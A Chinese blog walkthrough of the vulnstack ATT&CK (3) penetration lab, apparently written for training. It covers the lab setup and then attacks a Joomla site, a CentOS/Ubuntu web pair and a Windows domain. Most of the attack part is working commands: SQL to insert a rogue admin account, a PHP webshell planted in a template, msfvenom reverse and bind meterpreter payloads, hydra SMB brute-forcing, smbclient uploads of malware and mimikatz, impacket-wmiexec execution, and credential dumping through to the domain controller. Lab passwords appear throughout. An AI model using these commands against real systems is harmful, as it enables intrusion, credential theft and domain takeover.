vulstack ATT&CK(三)靶场

已于 2023-04-20 19:18:00 修改
阅读量595 收藏 1
点赞数
分类专栏： 靶机及靶场通关 文章标签： 服务器 linux 运维 网络安全
于 2023-04-20 19:17:31 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_62207170/article/details/130246830
版权

0x00环境搭建

两种形式
1.添加vmare2网卡，修改vmare2网卡的地址为192.168.93.0网段，注意不要在连接到主机适配器上打勾，这样会使本机也可以访问此电脑，5台机器都换成vmare2即可，第一台出网的centos在添加另一张nat网卡即可
在这里插入图片描述centos需要改配置
nginx配置
把/etc/nginx/nginx.conf的server全部改为ubuntu的ip
在这里插入图片描述

ps aux|grep nginx
kill -9 进程id
/usr/sbin/nginx -c /etc/nginx/nginx.conf

网络配置
重启服务

service network start
ping www.badiu.com 能ping通说明nat可以正常上网

配置完成：
在这里插入图片描述
ubuntu
网络配置
在没有开机之前，选用vmare2网卡

service networking start

其他三台靶机改为vmare2网卡即可
2.修改nat网卡ip为192.168.1.0网段即可
正向代理：vpn，服务器不知道客户端真实地址
反向代理：客户端不知道服务器真实地址
上面web的两台靶机
第一台 centos nginx反向代理，将访问自己的全部流量转发之ubuntu中
第二台 ubuntu web服务器

0x01 web靶机渗透

1.信息搜集（存活ip，端口，服务及版本，cms或框架，中间件，敏感文件或目录）
存活ip，端口，服务及版本
192.168.85.177
22,3306,80

nmap 192.168.85.0/24
nmap -p1-65535 192.168.85.177
nmap -sV 192.168.85.177

访问192.168.85.177网站，寻找漏洞及敏感信息
在这里插入图片描述
发现cms joomla，找漏洞时需要版本，所以需要进行版本探测
尝试报错看一下是否会有版本出来
在这里插入图片描述
需要再查看一下状态码，看是不是伪造的，状态码为404
在这里插入图片描述
找到一个登录框，可以尝试进行暴力破解，sql注入
f12c查看源代码，找到一个search搜索框，尝试sql注入
1’“()\都没报错
先前扫描时服务及版本时时nginx服务器，现在apache服务器，说明做了反向代理
使用msf的auxiliary/scanner/http/joomla_version ，版本是3.9.12
使用msf关于jommla的exp进行攻击时，试了几个，都失败了
现在知道版本了找cms漏洞
CVE-2021-23132 需要登录后台才可以进行执行
或使用工具扫描版本
这里使用joomscan，并且可以进行目录和敏感文件扫描

joomscan -u http://192.168.85.177

找到了robots.txt，还有一个感觉像后台的目录，再就是感觉像配置文件的文件，版本3.9.12
在这里插入图片描述
查看配置文件在这里插入图片描述
2.登录数据库
发现了数据库用户名和密码，可以尝试使用navicat进行连接
testuser
cvcvgjASD!@
登录成功
找类似user的关键表在这里插入图片描述
3.修改用户名密码
找到用户名和密码，尝试对密码进行解密，john或cmd5，解密失败
可以下载同样版本的joomla，写一个知道密码的密文，然后进行更新覆盖
知道加密，直接更改，搜索文档可一下有没有进行密码重置的文档
jommla密码重置

直接执行就可以了
INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
  • password = “this is the MD5 and salted hashed password”
  • admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
  • secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
  • OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm

4.登录后台
admin2
secret
在这里插入图片描述

5.写shell，连接蚁剑
上面找到一个后台远程代码执行漏洞，尝试使用这个漏洞
在extentions-》templates-》templates-》Beez3 Details and Files出可以修改源码
在error.php写入一句话木马
在这里插入图片描述
访问http://192.168.85.177/templates/beez3/error.php
post传入1=phpinfo();
在这里插入图片描述
执行没问题后连接蚁剑
6.绕过disabled命令执行
在这里插入图片描述
发现执行命令时，没有执行，正常来说不管权限多少小，一些基本命令都是能执行的，再次执行phpinfo,查看是不是禁用了函数
在这里插入图片描述
发现命令执行的函数都被禁用掉了，这里可以用蚁剑的插件进行绕过
找到插件市场，把下载，如果在蚁剑下载不了，可以直接在github下载对应的插件
放到antSword-master\antData\plugins下，插件名成是as_bypass_php_disable_functions-master
启动插件
在这里插入图片描述
选择模块，启动
在这里插入图片描述
会重新开启一个执行界面
执行命令在这里插入图片描述
7.继续进行信息搜集
查看网络信息路由
在这里插入图片描述可以看出，是不出网的机器，这台是apache也就是web服务器的真实ip，不是nginx的ip
上传msf木马是不行的，连接不了，代理隧道都不行
在这里插入图片描述
两个可以登录的用户，yy和root
注意这里的内核或其他方式提权是不可以的，蚁剑的是一个伪终端，不是真实的bash环境，编译一些文件或执行文件无法返回一个bash会话
发现mysql的plugin目录是可写的，但是提权成功之后也没意义只是能成功执行命令，权限还是www-data，反弹shell，不出网，连不上
系统版本
在这里插入图片描述
进入yy的家目录，查看有什么信息，没找到有用的信息，继续进入可读的目录查找敏感信息
tmp目录下发现用户名和密码，但是在passwd文件中并没有发现用户名，所以这个用户名应该是nginx的用户名，信息搜集时返现22端口是开启的，所以可以尝试登陆
在这里插入图片描述
8.ssh登录nginx服务器，centos
wwwuser
wwwuser_123Aqx
使用xshell或使用kali自带的ssh
9.继续对centos进行信息搜集
网络
在这里插入图片描述
版本
在这里插入图片描述
用户
在这里插入图片描述
9.上传木马，xshell或wget，执行木马
centos

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f elf -p 1.elf

开启监听

use mutli/handler
set payload linux/x64/meterpreter/reverse_tcp 
set lhost 0.0.0.0
set lport 4444
run

ubuntu
添加路由

run autoroute -s 192.168.93.0/24
或
run post/multi/manage/autoroute

生成木马，通过蚁剑上传执行

msfvenom -p linux/x64/meterpreter/bind_tcp lport=4444 -f elf -p 2.elf

开启监听

use mutli/handler
set payload linux/x64/meterpreter/bind_tcp 
set lhost 0.0.0.0
set rhost 192.168.93.120
run

10.提权
centos可以通过脏牛提权，ubuntu可以通过cve-2021-3493，这里不再演示了

0x02 内网横向移动

前面路由已经添加了，这里就不用添加了
1.开启socks代理

use auxiliary/server/socks_proxy
set version 4a
ser srvport 9050
run

2.探测存活主机(在添加路由的那个msfconsole中)
auxiliary/scanner/discover/arp_sweep
auxiliary/scanner/discover/udp_probe
auxiliary/scanner/smb/smb_version
这里使用第二种

use auxiliary/scanner/discover/udp_probe
set rhosts 192.168.93.0/24
run

在这里插入图片描述
扫出三台存活主机
192.168.93.10
192.168.93.20
192.168.96.30
3.扫描端口

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.10,20,30

在这里插入图片描述
都开放了139，445，尝试永恒之蓝攻击都失败了
192.168.93.20开放了80端口
192.168.93.10开放了88端口
两个访问但是没东西
扫目录也没有扫出来
192.168.93.20 开放了1433，mssql数据库
尝试进行爆破，可以使用前面的mysql密码尝试一下
没试
还有一个思路是爆破smb密码
4.使用hydra爆破smb密码

proxychains4 hydra -l  administrator -P pass.txt smb://192.168.93.20

在这里插入图片描述
字典要足够多，才能爆破出来
密码 123qwe!ASD
5.连接smb，进行上传木马，mimikatz
生成正向连接木马

msfvenom -p windows/x64/meterpreter/bind_tcp  lport=4455 -f exe >1.exe

连接smb，上传木马和mimkatz

proxychains4 smbclient //192.168.93.20/c$ -U administrator
输入密码：  123qwe!ASD
put 1.exe
put mimikatz.exe

在这里插入图片描述
6.wmic执行木马上线msf
上线msf还可以用ipc$ 计划任务开实现
wmic执行木马(python impaket wmiexec.py)

proxychains4 impacket-wmiexec 'administrator:123qwe!ASD@192.168.93.20'

在这里插入图片描述
开启监听

use multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.20
set lport 4455
run
#提权
getuid
getsystem
getuid

在这里插入图片描述窃取凭据

load mimikatz
creds_all          #获取所有凭证

在这里插入图片描述
在这里插入图片描述
发现域管理员密码，重新上述操作,登录域控
zxcASDqwe123!!
有几个地方需要注意，是test域登录
连接smb，上传木马

proxychains4 smbclient //192.168.93.20/c$ -U test/administrator
输入密码：  zxcASDqwe123!!
put 1.exe

proxychains4 impacket-wmiexec 'test/administrator:zxcASDqw123!!@192.168.93.10'

域控成功提权：
在这里插入图片描述

参考文章：
vulstack (三)

mushangqiujin
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
vulnstack域环境靶场（三）
BROTHERYY的博客
12-01 777
这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Markdown编辑器 你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Mar
红日安全 ATT＆CK VulnStack靶场（三）
baynk的博客
07-12 2848
0x00 前言 内网真的有点难搞，总是会碰到一些奇怪的问题。。。基础不难，地动山摇。 不知道原版哪下的，就放个自己云盘的，这玩意压缩后只有20G，解压后有100G… 放个下载地址：提取码: uecu 拓扑图如下 除了centos的出口网卡的IP是需要调整外，其余网卡都不需要调整。 0x01 Web打点 直接访问网站 发现很熟悉，joomla cms，国外比较有名的cms，直接上工具，kali里面带的joomscan [+] FireWall Detector [++] Firewall not det
红日靶机vulnstack03【半总结】
qq_45300786的博客
10-04 505
ip就不说了，和前面差不多，都是2个网段。 打开centos 把里面所有的ip都该成ubuntu的ip，因为ubuntu才是真正的服务器，centos只是nginx反向代理服务器 改了后，记得重启nginx服务 nginx -s reload 攻略教程如下： 红日安全ATT＆CK靶机实战系列之vulnstack3 VulnStack-ATT&CK-3（红日靶场三） ...
红日（vulnstack）3 内网渗透ATT&CK实战
m0_66299232的博客
03-11 1600
蚁剑成功连接后无法执行命令，disable_functions插件，权限提升-脏牛漏洞，用msfvenom生成木马文件，msf开启监听，执行木马文件，成功反弹shell到msf上 use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.1.106 set LPORT 1106 run 使用use auxiliary/scanner/smb/smb_login模块，进行smb爆破
红队实战之VulStack-1
wangluoanquan111的博客
09-13 189
这是我第二次做该靶场，第一次做的时候只采用了凭证传递的利用方式，并没有考虑 MS17-010漏洞利用，也没有采用隧道的方式来访问内网，经过这些天的考虑后我决定重做温习一遍，一是重新整理一下思路；二是锻炼一下内网渗透思路。当然在练习过程中我也遇到了许多问题，比如certutil.exe 怎么无法在 Windows Server 2003 中传递保存木马文件、FTP匿名登录漏洞如何通过代理登录利用等，显然这些问题在打靶记录中未直接体现。但它们对渗透思路的打磨有很大帮助。
ATT&CK中文手册.zip
11-24
一、Initial Access(入口点) 二、Execution(命令执行) 三、Persistence(持久化) 四、Privilege Escalation(权限提升) 五、Defense Evasion(绕过防御) 六、Credential Access(获取凭证) 七、Discovery(基础信息收集) ...
ATT&CK手册(修改版)
09-16
ATT&CK手册(修改版)
ATT&CK手册.pdf
09-20
ATT&CK手册.pdf
ATT&CK 知识库（企业）中文版1
08-03
1.1 路过式下载 1 1.2 面向公众应用的利用 2 1.3 外部远程服务 3 1.4 硬件添加 4 1.5 通过移动存储进行复制 5 1.6 鱼叉式钓鱼攻击
红日安全ATT＆CK靶机实战系列之vulnstack3
黑白的博客
04-20 5660
声明 好好学习，天天向上 环境配置 下载地址，直接进去用百度云，没有会员也下的非常快 http://vulnstack.qiyuanxuetang.net/vuln/detail/5/ 边下载着，可以开始vmware的网络配置 有两个网段，外网网段是我自己设置的桥接模式192.168.31.1/24，内网网段，vmware加一个网卡VMnet2，192.168.93.1/24 外网的centos和kali直接都用桥接宿主机的网卡自动获取了，centos需要第一时间进去service network res
vulstack红队评估(三)
PANDA墨森的博客
06-21 1015
原文链接：https://www.cnblogs.com/PANDA-Mosen/p/13118679.html 一、环境搭建： ①根据作者公开的靶机信息整理 没有虚拟机密码，纯黑盒测试...一共是5台机器，目标是拿下域控获取flag文件 ②虚拟机网卡设置 centos双网卡模拟内外网： 外网：192.168.1.110 内网：192.168.93.100 其他主机都是内网，仅主机模式： 内网：192.168.93.0/24 所有虚拟机默认挂起状态，开启就已经登陆了...
vulstack2（hydra爆mssql、免杀360、cs、msf渗透、weblogic、computer brower服务支持6118，域管密码过期kerberos认证错误导致部分域服务不可用）
qq_45290991的博客
09-24 1576
很久之前打了第一个靶场，但是打的不全，不舒坦，不够彻底，由于一直报rpc连接失败所以有的步骤不顺，这次学了一点小小的免杀技巧，过来带着练习的心态学学这个靶场。 0、环境搭建（难点） 环境搭建参考：漏洞详情 【红日安全-VulnStack】ATT&CK实战系列——红队实战(二) - yokan - 博客园 红日靶场二 WalkThrough – Crispr –热爱技术和生活 记得要在web机子里面手动开启服务，在 C:\Oracle\Middleware\user_projects\doma
【红日靶场】vulnstack3-完整渗透过程
信安是不可或缺的一部分！
10-07 533
绕过：https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD。现在做内网穿透将这台主机代理出来：我测试我这有问题（我的环境有安全设备拦截了msf的流量）再次横向到30主机：（失败）443gg了，应该是授权的问题，这个win7太久没用了激活掉了。脏牛：https://github.com/Rvn0xsy/linux_dirty。还有其他方式可以横向这个看自己爱好，这次先到这，拿到后可以权限维持，这里不在赘述。
vulnstack-ATT&CK[四]打靶记录
Aiwin的博客
07-20 191
vulnstack-ATT&CK[四]打靶记录
vulstack红队评估(一)
PANDA墨森的博客
06-20 2500
一、环境搭建： 1、根据作者公开的靶机信息整理： 虚拟机初始所有统一密码：hongrisec@2019 因为登陆前要修改密码，改为了panda666... 2、虚拟网卡网络配置： ①Win7双网卡模拟内外网： 外网：192.168.1.43，桥接模式与物理机相通 内网：192.168.52.143 还需要修改以下网络配置，将网段设置好 ②Win2003只有内网： 内网：192.168.52.138，仅主机模式 ③Win2008只有内网： 内网：19...
服务器主机托管一站式托管服务有哪些？
最新发布
RAKsmart123的博客
05-29 350
服务器主机托管一站式托管服务，作为现代企业信息化建设的重要一环，为企业提供了一种高效、安全、可靠的服务器运行环境。下面，我们将从多个方面详细介绍这一服务的内容。
MITRE ATT&CK
09-17
ATT&CK框架包括三个主要模型：ATT&CK for Enterprise、ATT&CK for Mobile和ATT&CK for ICS。ATT&CK for Enterprise适用于Windows、Linux、MacOS、云平台等技术和战术。ATT&CK for Mobile适用于移动设备的战术和技术...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值